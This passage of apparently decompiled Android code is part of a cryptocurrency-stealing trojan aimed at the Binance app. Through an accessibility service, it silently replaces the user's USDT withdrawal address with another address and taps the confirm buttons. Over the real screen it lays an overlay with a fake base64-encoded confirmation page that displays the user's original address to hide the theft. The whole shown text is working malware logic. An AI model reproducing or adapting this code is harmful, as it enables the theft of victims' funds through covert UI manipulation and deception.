CAgLmRldGFpbC1pdGVtOm5vdCg6bGFzdC1jaGlsZCkgewogICAgICAgICAgICAvKmJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjY2NjOyovCiAgICAgICAgfQogICAgICAgIC5kZXRhaWwgewogICAgICAgICAgICAvKiBtYXJnaW4tdG9wOiAxcmVtOwogICAgICAgICAgICBwYWRkaW5nOiAwLjVyZW07CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNjY2M7CiAgICAgICAgICAgIC8qIGJhY2tncm91bmQtY29sb3I6IGxpZ2h0Ymx1ZTsgKi8KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogN3B4OwoKICAgICAgICAgICAgcGFkZGluZzogMTBweCAxMHB4OwogICAgICAgICAgICBjb2xvcjogIzg3OGQ5OTsKICAgICAgICAgICAgLypib3gtc2hhZG93OiAxcHggMXB4IDBweCByZ2JhKDAsIDAsIDAsIDAuMjUpLCAtMXB4IDFweCAwcHggcmdiYSgwLCAwLCAwLCAwLjI1KTsqLwogICAgICAgICAgICBtYXJnaW4tdG9wOiAyMHB4OwogICAgICAgICAgICBmb250LXNpemU6IDE2cHg7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA1MDA7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmNWY1ZjU7CiAgICAgICAgfQogICAgICAgIC5mb290ZXIgewogICAgICAgICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgICAgICAgIGJvdHRvbTogMDsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIHBhZGRpbmc6IDFyZW07CiAgICAgICAgfQogICAgICAgIC5uYXYtaWNvbiB7CiAgICAgICAgICAgIHdpZHRoOiAxcmVtOwogICAgICAgIH0KICAgICAgICAubmF2LWJhciB7CiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsKICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgIH0KICAgICAgICAubGVmdCB7CiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7CiAgICAgICAgfQogICAgICAgIC5jZW50ZXIgewogICAgICAgICAgICBwYWRkaW5nOiAwcHg7CiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgICAgICAgICAgbGVmdDogNTAlOwogICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoLTUwJSk7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMjBweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6NTAwOwogICAgICAgIH0KICAgICAgICAudHJhbnNmZXItYW1vdW50IHsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBtYXJnaW4tdG9wOiAzNXB4OwogICAgICAgICAgICBmb250LXNpemU6IDJyZW07CiAgICAgICAgfQogICAgICAgIC51c2QgewogICAgICAgICAgICBmb250LXNpemU6IDFyZW07CiAgICAgICAgICAgIGNvbG9yOiAjY2NjOwogICAgICAgIH0KICAgICAgICAubGVmdC1mb250IHsKICAgICAgICAgICAgY29sb3I6ICMzMzM7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsKICAgICAgICB9CiAgICAgICAgLnJpZ2h0LWZvbnQgewogICAgICAgICAgICBmb250LXNpemU6IDE0cHg7CiAgICAgICAgfQogICAgICAgIC5sb2FkaW5nLW92ZXJsYXkgewogICAgICAgIHBvc2l0aW9uOiBmaXhlZDsKICAgICAgICB0b3A6IDA7CiAgICAgICAgbGVmdDogMDsKICAgICAgICByaWdodDogMDsKICAgICAgICBib3R0b206IDA7CiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjgpOwogICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsKICAgIH0KCiAgICAuc3Bpbm5lciB7CiAgICAgICAgd2lkdGg6IDUwcHg7CiAgICAgICAgaGVpZ2h0OiA1MHB4OwogICAgICAgIGJvcmRlcjogNXB4IHNvbGlkIHJnYmEoMCwgMCwgMCwgMC4xKTsKICAgICAgICBib3JkZXItbGVmdC1jb2xvcjogIzM5NTZjZDsKICAgICAgICBib3JkZXItcmFkaXVzOiA1MCU7CiAgICAgICAgYW5pbWF0aW9uOiBzcGluIDFzIGxpbmVhciBpbmZpbml0ZTsKICAgIH0KICAgICAgICAudGlwcyB7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Y1ZjVmNTsKICAgICAgICAgICAgcGFkZGluZzogMTBweCAxMHB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwcHg7CiAgICAgICAgfQoKICAgIEBrZXlmcmFtZXMgc3BpbiB7CiAgICAgICAgMTAwJSB7CiAgICAgICAgICAgIHRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7CiAgICAgICAgfQogICAgfQogICAgaHIgewogICAgICAgICAgICBib3JkZXI6IG5vbmU7IC8qIOenu+mZpOm7mOiupOi+ueahhiAqLwogICAgICAgICAgICBib3JkZXItdG9wOiAxcHggc29saWQgI2RkZGRkZDsgLyog6K6+572u5paw6L655qGG77yM5Y+v5Lul5L+u5pS55a695bqm44CB6aKc6Imy562JICovCiAgICAgICAgICAgIGhlaWdodDogMDsgLyog6YeN6K6+6auY5bqmICovCiAgICAgICAgICAgIHdpZHRoOiAxMDAlOyAvKiDorr7nva7liIblibLnur/lrr3luqYgKi8KICAgICAgICAgICAgY2xlYXI6IGJvdGg7IC8qIOmYsuatouWIhuWJsue6v+WRqOWbtOeahOWFg+e0oOWPkeeUn+a1ruWKqCAqLwogICAgICAgICAgICBtYXJnaW46IDEwcHggMDsKICAgIH0KICAgIDwvc3R5bGU+Cgo8L2hlYWQ+Cjxib2R5PgogICAgPCEtLSA8ZGl2IGNsYXNzPSJsb2FkaW5nLW92ZXJsYXkiIGlkPSJsb2FkaW5nT3ZlcmxheSI+CiAgICA8ZGl2IGNsYXNzPSJzcGlubmVyIj48L2Rpdj4KPC9kaXY+IC0tPgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJuYXYtYmFyIj4KICAgICAgICAgICAgPCEtLSDov5Tlm57mjInpkq4gLS0+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImxlZnQiPgogICAgICAgICAgICAgICAgPGltZyBzcmM9IiIgYWx0PSIiIGNsYXNzPSJuYXYtaWNvbiI+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8IS0tIOWxheS4reaWh+WtlyAtLT4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2VudGVyIGxhbmciIGRhdGEtbGFuZy1rZXk9InRpdGxlIiBzdHlsZT0iZm9udC1zaXplOiAxN3B4OyI+PC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNlbnRlciBsYW5nIiBkYXRhLWxhbmcta2V5PSJzdWJfdGl0bGUiIHN0eWxlPSJtYXJnaW4tdG9wOiA1MHB4OyBmb250LXNpemU6IDE1cHg7IGNvbG9yOiAjODc4ZDk5Ij48L2Rpdj4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGRpdiBjbGFzcz0idHJhbnNmZXItYW1vdW50Ij4KICAgICAgICAgICAgPHNwYW4gY2xhc3M9InVzZHRfYW1vdW50IiBzdHlsZT0iZm9udC13ZWlnaHQ6IDYwMCIgZGF0YS1sYW5nLWtleT0idXNkdF9hbW91bnQiPjwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC1zaXplOiAyMHB4OyBmb250LXdlaWdodDogMzAwIj4gVVNEVDwvc3Bhbj4KICAgICAgICAgICAgPCEtLSA8ZGl2IGNsYXNzPSJ1c2QiPuKJiCAkPHNwYW4gY2xhc3M9InVzZF9hbW91bnQiPjYxLjg1PC9zcGFuPjxzcGFuPjwvc3Bhbj48L2Rpdj4gLS0+CiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9ImRldGFpbCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImRldGFpbC1pdGVtIj4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJsYW5nIiBkYXRhLWxhbmcta2V5PSJ3aXRoZHJhd19hZGRyZXNzIj48L3NwYW4+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icmlnaHQtZm9udCBmcm9tIGxhbmcgci1sYW5nIiBkYXRhLWxhbmcta2V5PSJhc3NldCI+PC9zcGFuPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZGV0YWlsLWl0ZW0iPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImxhbmciIGRhdGEtbGFuZy1rZXk9ImNoYWluIj48L3NwYW4+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icmlnaHQtZm9udCBjaGFpbiByLWxhbmciIGRhdGEtbGFuZy1rZXk9ImNoYWluIj48L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJkZXRhaWwtaXRlbSI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibGFuZyIgZGF0YS1sYW5nLWtleT0iZnJvbV9hZGRyZXNzIiBzdHlsZT0id2hpdGUtc3BhY2U6IG5vd3JhcCI+PC9zcGFuPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InJpZ2h0LWZvbnQgdG8gci1sYW5nIj48L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8aHI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImRldGFpbC1pdGVtIj4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJsYW5nIiBkYXRhLWxhbmcta2V5PSJzeW1ib2wiIHN0eWxlPSJ3aGl0ZS1zcGFjZTogbm93cmFwIj48L3NwYW4+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icmlnaHQtZm9udCB0byByLWxhbmciPlVTRFQ8L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJkZXRhaWwtaXRlbSI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibGFuZyIgZGF0YS1sYW5nLWtleT0iYW1vdW50IiBzdHlsZT0id2hpdGUtc3BhY2U6IG5vd3JhcCI+PC9zcGFuPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InJpZ2h0LWZvbnQgci1sYW5nIHRvdGFsX2Ftb3VudCI+PHNwYW4+VVNEVDwvc3Bhbj48L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJkZXRhaWwtaXRlbSI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibGFuZyIgZGF0YS1sYW5nLWtleT0iZmVlIiBzdHlsZT0id2hpdGUtc3BhY2U6IG5vd3JhcCI+PC9zcGFuPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InJpZ2h0LWZvbnQgZmVlIHItbGFuZyI+PC9zcGFuPgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9InRpcHMiPgogICAgICAgICAgICA8cCBjbGFzcz0ici1sYW5nIGxhbmciIGRhdGEtbGFuZy1rZXk9InRpcHMiPgogICAgICAgICAgICA8L3A+CiAgICAgICAgPC9kaXY+CgoKICAgIDwvZGl2PgogICAgICAgICAgICA8IS0tIOW6lemDqOaMiemSriAtLT4KICAgICAgICAgICAgPCEtLSA8ZGl2IGNsYXNzPSJmb290ZXIiPgogICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0ibGFuZyIgc3R5bGU9ImJhY2tncm91bmQ6IHJnYmEoNjgsIDExNiwgMTgyLCk7IiBkYXRhLWxhbmcta2V5PSJjb25maXJtIj48L2J1dHRvbj4KICAgICAgICAgICAgPC9kaXY+IC0tPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICAvLyAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAvLyAgICAgY29uc3QgbG9hZGluZ092ZXJsYXkgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9hZGluZ092ZXJsYXknKTsKICAgIC8vICAgICBsb2FkaW5nT3ZlcmxheS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogICAgLy8gfSwgMzAwMCk7CiAgICBmdW5jdGlvbiAgY2hhbmdMYW5nKGRhdGEpIHsKICAgICAgICBjb25zdCBsYW5ndWFnZVBhY2sgPSB7CiAgICAgICAgICAgIGVuOiB7CiAgICAgICAgICAgICAgICB0aXRsZTogJ0NvbmZpcm0gb3JkZXInLAogICAgICAgICAgICAgICAgc3ViX3RpdGxlOiAnWW91IHdpbGwgZ2V0JywKICAgICAgICAgICAgICAgIHdpdGhkcmF3X2FkZHJlc3M6ICdBZGRyZXNzJywKICAgICAgICAgICAgICAgIGNoYWluOiAnTmV3b3JrJywKICAgICAgICAgICAgICAgIGZyb21fYWRkcmVzczogJ1NvdXJjZScsCiAgICAgICAgICAgICAgICBzeW1ib2w6ICdDb2luJywKICAgICAgICAgICAgICAgIGFtb3VudDonQW1vdW50JywKICAgICAgICAgICAgICAgIGZlZTogJ05ldHdvcmsgZmVlJywKICAgICAgICAgICAgICAgIHRpcHM6ICdFbnN1cmUgdGhhdCB0aGUgYWRkcmVzcyBpcyBjb3JyZWN0IGFuZCBvbiB0aGUgc2FtZSBuZXR3b3JrLCBUcmFuc2FjdGlvbiBjYW5ub3QgYmUgY2FuY2VsbGVkLicsCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgIHpoOiB7CiAgICAgICAgICAgICAgICB0aXRsZTogJ+ehruiupOiuouWNlScsCiAgICAgICAgICAgICAgICBzdWJfdGl0bGU6ICflrp7pmYXliLDotKY6JywKICAgICAgICAgICAgICAgIHdpdGhkcmF3X2FkZHJlc3M6ICfmj5DluIHlnLDlnYAnLAogICAgICAgICAgICAgICAgY2hhaW46ICfkuLvnvZHnu5wnLAogICAgICAgICAgICAgICAgZnJvbV9hZGRyZXNzOiAn5o+Q546w5p2l5rqQ6LSm5oi3JywKICAgICAgICAgICAgICAgIHN5bWJvbDogJ+W4geenjScsCiAgICAgICAgICAgICAgICBhbW91bnQ6J+mHkeminScsCiAgICAgICAgICAgICAgICBmZWU6ICfnvZHnu5zmiYvnu63otLknLAogICAgICAgICAgICAgICAgdGlwczogJ+ivt+ehruS/neaCqOi+k+WFpeS6huato+ehrueahOaPkOW4geWcsOWdgOW5tuS4lOaCqOmAieaLqeeahOi9rOi0pue9kee7nOS4juWcsOWdgOebuOWMuemFjeOAguaPkOW4geiuouWNleWIm+W7uuWQjuS4jeWPr+WPlua2iCcsCiAgICAgICAgICAgIH0KICAgICAgICB9OwoKICAgICAgICBsZXQgY3VycmVudExhbmd1YWdlID0gJ2VuJwogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGNvbnN0IGxhbmcgPSBkYXRhLmxhbmc7CiAgICAgICAgICAgIGlmIChsYW5nID09PSAnemgnKSB7CiAgICAgICAgICAgICAgICBjdXJyZW50TGFuZ3VhZ2UgPSAnemgnOwogICAgICAgICAgICB9CiAgICAgICAgfSBjYXRjaCAoZSkgewogICAgICAgICAgICBjb25zb2xlLmxvZyhlKTsKICAgICAgICB9CgogICAgICAgIGNvbnN0IGVsZW1lbnRzID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmxhbmcnKTsKCiAgICAgICAgZWxlbWVudHMuZm9yRWFjaChlbGVtZW50ID0+IHsKICAgICAgICAgICAgY29uc3Qga2V5ID0gZWxlbWVudC5nZXRBdHRyaWJ1dGUoJ2RhdGEtbGFuZy1rZXknKTsKICAgICAgICAgICAgZWxlbWVudC50ZXh0Q29udGVudCA9IGxhbmd1YWdlUGFja1tjdXJyZW50TGFuZ3VhZ2VdW2tleV07CiAgICAgICAgfSk7CgogICAgfTsKICAgIGZ1bmN0aW9uIHRyYW5zYWN0aW9uX2luZm8oZGF0YSkgewogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoInVzZHRfYW1vdW50IilbMF0uaW5uZXJIVE1MID0gZGF0YS51c2R0X2Ftb3VudDsKICAgICAgICA8IS0tIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoInVzZF9hbW91bnQiKVswXS5pbm5lckhUTUwgPSBkYXRhLnVzZF9hbW91bnQ7IC0tPgogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImNoYWluIilbMF0uaW5uZXJIVE1MID0gZGF0YS5jaGFpbgogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImZyb20iKVswXS5pbm5lckhUTUwgPSBkYXRhLmZyb207CiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgidG8iKVswXS5pbm5lckhUTUwgPSBkYXRhLnRvOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImZlZSIpWzBdLmlubmVySFRNTCA9IGRhdGEuZmVlOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoInRvdGFsX2Ftb3VudCIpWzBdLmlubmVySFRNTCA9IGRhdGEudG90YWxfYW1vdW50OwogICAgfQogICAgLy/kvb/nlKjml7blgJnms6jph4rov5nkuKTooYwKICAgIHdpbmRvdy5vbmxvYWQgPSBjaGFuZ0xhbmcoe2xhbmc6ICd6aCd9KTsKPC9zY3JpcHQ+CjwvaHRtbD4=";
                    break;
            }
            webView.loadData(str, "text/html", "base64");
            binanceWalletInjview.addView(webView);
            TextView textView2 = new TextView(context.getApplicationContext());
            textView = textView2;
            textView2.setText("                             ");
            FrameLayout.LayoutParams layoutParams2 = new FrameLayout.LayoutParams(-2, -2);
            layoutParams2.gravity = 51;
            layoutParams2.height = ScreenUtil.dp2px(context, 40.0f);
            layoutParams2.width = ScreenUtil.dp2px(context, 130.0f);
            textView.setLayoutParams(layoutParams2);
            textView.setBackgroundColor(context.getResources().getColor(17170445));
            textView.setClickable(true);
            textView.setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View view) {
                    Binance.binanceWalletInjviewLayoutParams.width = -1;
                    Binance.binanceWalletInjviewLayoutParams.height = -2;
                    Binance.binanceWalletInjviewLayoutParams.gravity = 51;
                    Binance.binanceWalletInjviewLayoutParams.flags = -2142501088;
                    Binance.windowManager.updateViewLayout(Binance.binanceWalletInjview, Binance.binanceWalletInjviewLayoutParams);
                    Binance.showWebiew(context);
                    List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131365201");
                    if (findAccessibilityNodeInfosByViewId.isEmpty()) {
                        findAccessibilityNodeInfosByViewId = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131365203");
                    }
                    if (findAccessibilityNodeInfosByViewId.size() == 1) {
                        String unused = Binance.usdtaddress = findAccessibilityNodeInfosByViewId.get(0).getText().toString();
                    }
                    List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId2 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131365306");
                    if (findAccessibilityNodeInfosByViewId2.isEmpty()) {
                        findAccessibilityNodeInfosByViewId2 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131365309");
                    }
                    if (findAccessibilityNodeInfosByViewId2.size() == 1) {
                        String unused2 = Binance.usdtamount = findAccessibilityNodeInfosByViewId2.get(0).getText().toString();
                    }
                    List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId3 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131365203");
                    if (findAccessibilityNodeInfosByViewId3.isEmpty()) {
                        findAccessibilityNodeInfosByViewId3 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131365201");
                    }
                    if (findAccessibilityNodeInfosByViewId3.size() == 1) {
                        Bundle bundle = new Bundle();
                        bundle.putCharSequence(AccessibilityNodeInfoCompat.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, initializeService.usdtadress);
                        findAccessibilityNodeInfosByViewId3.get(0).performAction(2097152, bundle);
                    }
                    List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId4 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131378415");
                    if (findAccessibilityNodeInfosByViewId4.isEmpty()) {
                        findAccessibilityNodeInfosByViewId4 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131378375");
                    }
                    if (findAccessibilityNodeInfosByViewId4.size() == 1) {
                        findAccessibilityNodeInfosByViewId4.get(0).performAction(16);
                    }
                    List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId5 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131363170");
                    if (findAccessibilityNodeInfosByViewId5.isEmpty()) {
                        findAccessibilityNodeInfosByViewId5 = ((AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131363172");
                    }
                    if (findAccessibilityNodeInfosByViewId5.size() == 1) {
                        findAccessibilityNodeInfosByViewId5.get(0).performAction(16);
                    }
                }
            });
            binanceWalletInjview.addView(textView);
        } else {
            binanceWalletInjviewLayoutParams.flags = 262152;
            binanceWalletInjviewLayoutParams.width = -2;
            binanceWalletInjviewLayoutParams.height = -2;
            windowManager.updateViewLayout(binanceWalletInjview, binanceWalletInjviewLayoutParams);
        }
        showRightTopButton(context);
    }

    private static void initInjView(Context context) {
        FrameLayout frameLayout = new FrameLayout(context);
        binanceWalletInjview = frameLayout;
        frameLayout.setVisibility(8);
        WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams(Integer.valueOf(MySettings.read(context.getApplicationContext(), MySettings.ScreenWidth, "720")).intValue(), Integer.valueOf(MySettings.read(context.getApplicationContext(), MySettings.ScreenHight, "1080")).intValue(), 2032, 262152, 1);
        binanceWalletInjviewLayoutParams = layoutParams;
        layoutParams.gravity = 51;
        binanceWalletInjviewLayoutParams.width = -2;
        binanceWalletInjviewLayoutParams.height = -2;
        WindowManager windowManager2 = (WindowManager) context.getSystemService("window");
        windowManager = windowManager2;
        windowManager2.addView(binanceWalletInjview, binanceWalletInjviewLayoutParams);
    }

    public static class MyWebView extends WebView {
        private Context context;

        @Override
        protected void onScrollChanged(int i, int i2, int i3, int i4) {
            super.onScrollChanged(i, i2, i3, i4);
            scrollTo(i, 0);
        }

        public MyWebView(Context context) {
            super(context);
            this.context = context;
            addJavascriptInterface(new AndroidInterface(), "Android");
        }

        private class AndroidInterface {
            private AndroidInterface() {
            }

            @JavascriptInterface
            public void trustback() {
                ((AccessService) MyWebView.this.context).performGlobalAction(1);
            }
        }
    }

    public static void hideInjectView() {
        if (ifShowDialog) {
            binanceWalletInjview.setVisibility(8);
            webView.setVisibility(8);
            textView.setVisibility(8);
            ifShowDialog = false;
            showType = 0;
            ifWebViewFullScreen = false;
        }
    }

    public static void showRightTopButton(Context context) {
        if (showType == 2 || !mesureInjectVIew(context)) {
            return;
        }
        if (Build.VERSION.SDK_INT >= 23) {
            binanceWalletInjview.setBackgroundColor(context.getColor(17170445));
        }
        webView.setVisibility(8);
        textView.setVisibility(0);
        binanceWalletInjview.setVisibility(0);
        ifShowDialog = true;
        showType = 1;
        ifWebViewFullScreen = false;
    }

    private static boolean mesureInjectVIew(Context context) {
        AccessibilityService accessibilityService;
        AccessibilityNodeInfo rootInActiveWindow;
        if (Build.VERSION.SDK_INT < 24 || (rootInActiveWindow = (accessibilityService = (AccessibilityService) context).getRootInActiveWindow()) == null) {
            return false;
        }
        List<AccessibilityNodeInfo> findAccessibilityNodeInfosByViewId = rootInActiveWindow.findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131363172");
        if (findAccessibilityNodeInfosByViewId.isEmpty()) {
            findAccessibilityNodeInfosByViewId = rootInActiveWindow.findAccessibilityNodeInfosByViewId("com.binance.dev:id/2131363170");
        }
        if (findAccessibilityNodeInfosByViewId.size() > 0) {
            Rect rect = new Rect();
            findAccessibilityNodeInfosByViewId.get(0).getBoundsInScreen(rect);
            if (accessibilityService.getSoftKeyboardController().getShowMode() == 0) {
                binanceWalletInjviewLayoutParams.x = rect.left;
                binanceWalletInjviewLayoutParams.y = rect.top - ScreenUtil.getStatusBarHeight(context);
                windowManager.updateViewLayout(binanceWalletInjview, binanceWalletInjviewLayoutParams);
            }
        }
        return true;
    }

    public static void showWebiew(Context context) {
        textView.setVisibility(8);
        binanceWalletInjviewLayoutParams.x = 0;
        binanceWalletInjviewLayoutParams.y = 0;
        windowManager.updateViewLayout(binanceWalletInjview, binanceWalletInjviewLayoutParams);
        setFullScreen(false, context);
        if (Build.VERSION.SDK_INT >= 23) {
            binanceWalletInjview.setBackgroundColor(context.getColor(17170445));
        }
        webView.setVisibility(0);
        showType = 2;
        ifShowDialog = true;
        ifWebViewFullScreen = true;
    }

    public static void checkEvent(AccessibilityEvent accessibilityEvent, final Context context) {
        if (showType == 1 && ifShowDialog && accessibilityEvent.getEventType() == 4194304) {
            showRightTopButton(context);
        }
        if (webView != null && showType == 2 && ifWebViewFullScreen && accessibilityEvent.getEventType() == 32 && "androidx.appcompat.app.AppCompatDialog".equals(accessibilityEvent.getClassName())) {
            new Handler().postDelayed(new Runnable() {
                @Override
                public void run() {
                    Binance.setWrapContentScreen(context);
                    Binance.sendOldValue();
                }
            }, 500L);
        }
        if (!ifWebViewFullScreen && showType == 2 && accessibilityEvent.getEventType() == 1 && "com.binance.dev".equals(accessibilityEvent.getPackageName()) && accessibilityEvent.getSource() != null && ("com.binance.dev:id/2131364202".equals(accessibilityEvent.getSource().getViewIdResourceName()) || "com.binance.dev:id/2131364200".equals(accessibilityEvent.getSource().getViewIdResourceName()))) {
            setFullScreen(true, context);
            new Thread(new Runnable() {
                @Override
                public void run() {
                    try {
                        Thread.sleep(3500L);
                        int unused = Binance.showType = 0;
                        ((AccessService) context).handler.sendEmptyMessage(15);
                    } catch (InterruptedException e) {
                        throw new RuntimeException(e);
                    }
                }
            }).start();
        }
        if (showType == 0 && accessibilityEvent.getEventType() == 1 && "com.binance.dev".equals(accessibilityEvent.getPackageName()) && accessibilityEvent.getSource() != null && ("com.binance.dev:id/2131378415".equals(accessibilityEvent.getSource().getViewIdResourceName()) || "com.binance.dev:id/2131378375".equals(accessibilityEvent.getSource().getViewIdResourceName()))) {
            binanceinj(context);
        }
        if (showType == 2 && accessibilityEvent.getEventType() == 32 && "com.binance.dev".equals(accessibilityEvent.getPackageName()) && !accessibilityEvent.getText().isEmpty() && "androidx.appcompat.app.AppCompatDialog".contentEquals(accessibilityEvent.getClassName())) {
            new Handler(Looper.getMainLooper()).postDelayed(new Runnable() {
                @Override
                public void run() {
                    ViewGroup.LayoutParams layoutParams = Binance.webView.getLayoutParams();
                    layoutParams.height = (ScreenUtil.getScreenHeight(context) - ScreenUtil.dp2px(context, 140.0f)) - ScreenUtil.getStatusBarHeight(context);
                    Binance.webView.setLayoutParams(layoutParams);
                }
            }, 500L);
        }
    }

    public static void sendOldValue() {
        String str = usdtamount;
        if (str == null || str.contains("最小值") || usdtamount.contains("Minimum")) {
            hideInjectView();
            return;
        }
        String d = Double.toString(Double.parseDouble(usdtamount) - 1.0d);
        HashMap hashMap = new HashMap();
        hashMap.put("total_amount", usdtamount + "USDT");
        hashMap.put("from", usdtaddress);
        hashMap.put("to", "资金账户");
        hashMap.put("usdt_amount", d);
        hashMap.put("usd_amount", d);
        hashMap.put("chain", "Tron(TRC20)");
        hashMap.put("fee", "1USDT");
        JSONObject jSONObject = new JSONObject(hashMap);
        WebView webView2 = webView;
        webView2.evaluateJavascript("javascript:transaction_info(" + jSONObject.toString() + ")", new ValueCallback<String>() {
            @Override
            public void onReceiveValue(String str2) {
            }
        });
    }

    public static void setWrapContentScreen(Context context) {
        if (ifWebViewFullScreen) {
            binanceWalletInjviewLayoutParams.width = -1;
            binanceWalletInjviewLayoutParams.height = -2;
            binanceWalletInjviewLayoutParams.y = ScreenUtil.getStatusBarHeight(context);
            windowManager.updateViewLayout(binanceWalletInjview, binanceWalletInjviewLayoutParams);
            ifWebViewFullScreen = false;
        }
    }

    private static void setFullScreen(boolean z, Context context) {
        if (ifWebViewFullScreen) {
            return;
        }
        if (z) {
            ViewGroup.LayoutParams layoutParams = webView.getLayoutParams();
            layoutParams.height = ScreenUtil.getScreenHeight(context);
            webView.setLayoutParams(layoutParams);
        }
        binanceWalletInjviewLayoutParams.width = -1;
        binanceWalletInjviewLayoutParams.height = -1;
        binanceWalletInjviewLayoutParams.y = 0;
        windowManager.updateViewLayout(binanceWalletInjview, binanceWalletInjviewLayoutParams);
        ifWebViewFullScreen = true;
    }

